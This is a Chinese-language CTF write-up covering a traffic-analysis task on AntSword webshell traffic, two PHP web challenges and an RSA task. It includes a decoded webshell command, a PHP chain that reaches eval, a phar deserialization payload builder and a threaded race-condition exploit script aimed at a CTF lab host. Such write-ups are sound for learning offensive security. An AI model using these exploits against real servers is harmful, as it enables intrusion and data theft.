纯复现了,没打
Misc
当时就看了看这一个misc,觉得应该是有文件,但是没提出来
SimpleFlow
一道流量分析题,用wireshark打开,然后追踪一下tcp流,看起来想是蚁剑的流量特征,在第52流看到了flag的zip
变成原始数据
很明显的504b的zip文件头,复制出来放010里另存为拿到zip文件,但是需要密码,再看看第50流
url解码后
我们直接找m8f8d9db647ecd对应的值,然后把它base64解码
但是还是没有找到密码,而我们发现url解码后的数据还有其他的参数,但是并不能直接base64解码,这是因为传参之后被substr去掉了前面两位
所以我们可以去掉前两位之后再解码,在g479cf6f058cf8对应的Y2QgIi9Vc2Vycy9jaGFuZy9TaXRlcy90ZXN0Ijt6aXAgLVAgUGFTc1ppUFdvckQgZmxhZy56aXAgLi4vZmxhZy50eHQ7ZWNobyBbU107cHdkO2VjaG8gW0Vd中得到我们的密码
PaSsZiPWorD
解压缩,拿到flag
web
warmup-php
这题看起来很麻烦,但是如果自己一步一步调试,还是很好出的
<?php
spl_autoload_register(function($class){
require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{
public function __construct($action,$properties){
$object=new $action();
foreach($properties as $name=>$value)
$object->$name=$value;
$object->run();
}
}
new Action($action,$properties);
?>
先看第一段,action是类名,properties的key是属性,value是值
所以我们的赋值就要依靠properties
然后调用action定义的类里的run方法
run方法在ListView.php里
<?php
class ListView
{
public $tagName='div';
public $template = 'flag';
public function run()
{
echo "<".$this->tagName.">\n";
$this->renderContent();
echo "<".$this->tagName.">\n";
}
public function renderContent()
{
ob_start();
echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
ob_end_flush();
}
protected function renderSection($matches)
{
$method='render'.$matches[1];
if(method_exists($this,$method))
{
$this->$method();
$html=ob_get_contents();
ob_clean();
return $html;
}
else
return $matches[0];
}
}
run->renderContent->renderSection
在renderContent中利用preg_replace_callback对template中的值进行了正则匹配,如果匹配到{\w+}就调用renderSection,而将匹配到的结果进行参数传入renderSection,而在renderSection中将$matches[1]与render进行了一个拼接,并检测是否有这个方法,有就去执行它。
我们可以调试一下看看匹配到的参数matches是什么形式的
经过调试我们发现,如果template是{TableBody},那么经过renderSection,就会调用TestView里的renderTableBody方法
<?php
class TestView extends ListView
{
const FILTER_POS_HEADER='header';
const FILTER_POS_BODY='body';
public $columns=array();
public $rowCssClass=array('odd','even');
public $rowCssClassExpression;
public $rowHtmlOptionsExpression;
public $selectableRows=1;
public $data=array(1,2,3);
public $filterSelector='{filter}';
public $filterCssClass='filters';
public $filterPosition='body';
public $filter;
public $hideHeader=false;
public function renderTableHeader()
{
if(!$this->hideHeader)
{
echo "<thead>\n";
if($this->filterPosition===self::FILTER_POS_HEADER)
$this->renderFilter();
if($this->filterPosition===self::FILTER_POS_BODY)
$this->renderFilter();
echo "</thead>\n";
}
elseif($this->filter!==null && ($this->filterPosition===self::FILTER_POS_HEADER || $this->filterPosition===self::FILTER_POS_BODY))
{
echo "<thead>\n";
$this->renderFilter();
echo "</thead>\n";
}
}
public function renderFilter()
{
if($this->filter!==null)
{
echo "<tr class=\"{$this->filterCssClass}\">\n";
echo "</tr>\n";
}
}
public function renderTableRow($row)
{
$htmlOptions=array();
if($this->rowHtmlOptionsExpression!==null)
{
$data=$this->data[$row];
$options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
if(is_array($options))
$htmlOptions = $options;
}
if($this->rowCssClassExpression!==null)
{
$data=$this->dataProvider->data[$row];
$class=$this->evaluateExpression($this->rowCssClassExpression,array('row'=>$row,'data'=>$data));
}
elseif(is_array($this->rowCssClass) && ($n=count($this->rowCssClass))>0)
$class=$this->rowCssClass[$row%$n];
if(!empty($class))
{
if(isset($htmlOptions['class']))
$htmlOptions['class'].=' '.$class;
else
$htmlOptions['class']=$class;
}
}
public function renderTableBody()
{
$data=$this->data;
$n=count($data);
echo "<tbody>\n";
if($n>0)
{
for($row=0;$row<$n;++$row)
$this->renderTableRow($row);
}
else
{
echo '<tr><td colspan="'.count($this->columns).'" class="empty">';
echo "</td></tr>\n";
}
echo "</tbody>\n";
}
}
renderTableBody->renderTableRow->evaluateExpression而我们的目的就是调用evaluateExpression里的eval来命令执行
public function evaluateExpression($_expression_,$_data_=array())
{
if(is_string($_expression_))
{
extract($_data_);
return eval('return '.$_expression_.';');
}
else
{
$_data_[]=$this;
return call_user_func_array($_expression_, $_data_);
}
}
要想从renderTableBody到renderTableRow,就要给data赋值,让它不为空
要想从renderTableRow到evaluateExpression,就要给renderTableRow赋值,让它不为空,而这个值会直接传给evaluateExpression中的eval来执行命令。
最终payload
这里是TestView而不是ListView应该是因为继承的问题,子类可以调用父类的方法
soeasy_php
源码里有个注释的更换头像的按钮,把注释去掉抓一下包
这里存在两个参数,经过测试发现png这里有任意文件读取
要用绝对路径,相对路径访问的时候会404
edit.php
<?php
ini_set("error_reporting","0");
class flag{
public function copyflag(){
exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
echo "SFTQL";
}
public function __destruct(){
$this->copyflag();
}
}
function filewrite($file,$data){
unlink($file);
file_put_contents($file, $data);
}
if(isset($_POST['png'])){
$filename = $_POST['png'];
if(!preg_match("/:|phar|\/\/|php/im",$filename)){
$f = fopen($filename,"r");
$contents = fread($f, filesize($filename));
if(strpos($contents,"flag{") !== false){
filewrite($filename,"Don't give me flag!!!");
}
}
if(isset($_POST['flag'])) {
$flag = (string)$_POST['flag'];
if ($flag == "Give me flag") {
filewrite("/tmp/flag.txt", "Don't give me flag");
sleep(2);
die("no no no !");
} else {
filewrite("/tmp/flag.txt", $flag); //不给我看我自己写个flag。
}
$head = "uploads/head.png";
unlink($head);
if (symlink($filename, $head)) {
echo "成功更换头像";
} else {
unlink($filename);
echo "非正常文件,已被删除";
};
}
}
看到__destruct这种魔术方法和preg_match里的phar就感觉像一个phar反序列化
class flag{
public function copyflag(){
exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
echo "SFTQL";
}
public function __destruct(){
$this->copyflag();
}
}
$a = new flag();
$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($a);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
然后是条件竞争,
from time import sleep
import requests
import threading
req = requests.session()
url1 = 'http://7ca1cf4f-a92c-4cf2-997c-d4c7c19f3f39.node4.buuoj.cn:81/uploads/head.png'
url2 = 'http://7ca1cf4f-a92c-4cf2-997c-d4c7c19f3f39.node4.buuoj.cn:81/edit.php'
data1 = {
'png': 'phar:///var/www/html/uploads/91fd0f2420aed857ed981856761afac6.png',
'flag': ''
}
data2 = {
'png': '/tmp/flag.txt',
'flag': ''
}
def unlink():
req.post(url2, data1)
def symlink():
req.post(url2, data2)
if __name__ == "__main__":
for _ in range(10):
t1 = threading.Thread(target=unlink, args=())
t2 = threading.Thread(target=symlink, args=())
t1.start()
t2.start()
while True:
# getflag
flag = req.get(url1).text
if "flag" in flag:
print(flag)
break
elif '429' in flag:
sleep(5)
print('wait!')
条件竞争这东西。。。感觉挺玄学的
warmup-java
java还没学,而且也没找到wp,先留个坑
crypto
easy_real
简单的rsa
import random
import hashlib
flag = 'xxxxxxxxxxxxxxxxxxxx'
key = random.randint(1,10)
for i in range(len(flag)):
crypto += chr(ord(flag[i])^key)
m = crypto的ascii十六进制
e = random.randint(1,100)
print(hashlib.md5(e))
p = 64310413306776406422334034047152581900365687374336418863191177338901198608319
q = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
n = p*q
c = pow(m,e,n)
print(n)
print(c)
#37693cfc748049e45d87b8c7d8b9aacd
#4197356622576696564490569060686240088884187113566430134461945130770906825187894394672841467350797015940721560434743086405821584185286177962353341322088523
#c=3298176862697175389935722420143867000970906723110625484802850810634814647827572034913391972640399446415991848730984820839735665233943600223288991148186397
已知p,n,c和e的md5值
爆破一下得到e=23
import hashlib
for i in range(1,1000000000):
res = hashlib.md5(str(i).encode("utf-8")).hexdigest()
if res == "37693cfc748049e45d87b8c7d8b9aacd":
print(str(i))
print(res)
c=3298176862697175389935722420143867000970906723110625484802850810634814647827572034913391972640399446415991848730984820839735665233943600223288991148186397
p=64310413306776406422334034047152581900365687374336418863191177338901198608319
q=65267138038038699886916162739434586079731613825212388229424706115289974540917
e=23
然后直接抄个rsa的脚本改改就行
import libnum
from Crypto.Util.number import long_to_bytes
c = 3298176862697175389935722420143867000970906723110625484802850810634814647827572034913391972640399446415991848730984820839735665233943600223288991148186397
n = 4197356622576696564490569060686240088884187113566430134461945130770906825187894394672841467350797015940721560434743086405821584185286177962353341322088523
# n = int("",16)
e = 23
# e = int("",16)
q = 64310413306776406422334034047152581900365687374336418863191177338901198608319
p = 65267138038038699886916162739434586079731613825212388229424706115289974540917
d = libnum.invmod(e, (p - 1) * (q - 1))
m = pow(c, d, n) # m 的十进制形式
crypto = long_to_bytes(m) # m明文
print(crypto.decode('utf-8'))
# key = random.randint(0,11)
# for i in range(len(crypto)):
# string += chr(ord(crypto[i])^key)
for key in range(1,10):
print('')
for i in range(len(crypto)):
print(chr(crypto[i]^key),end='')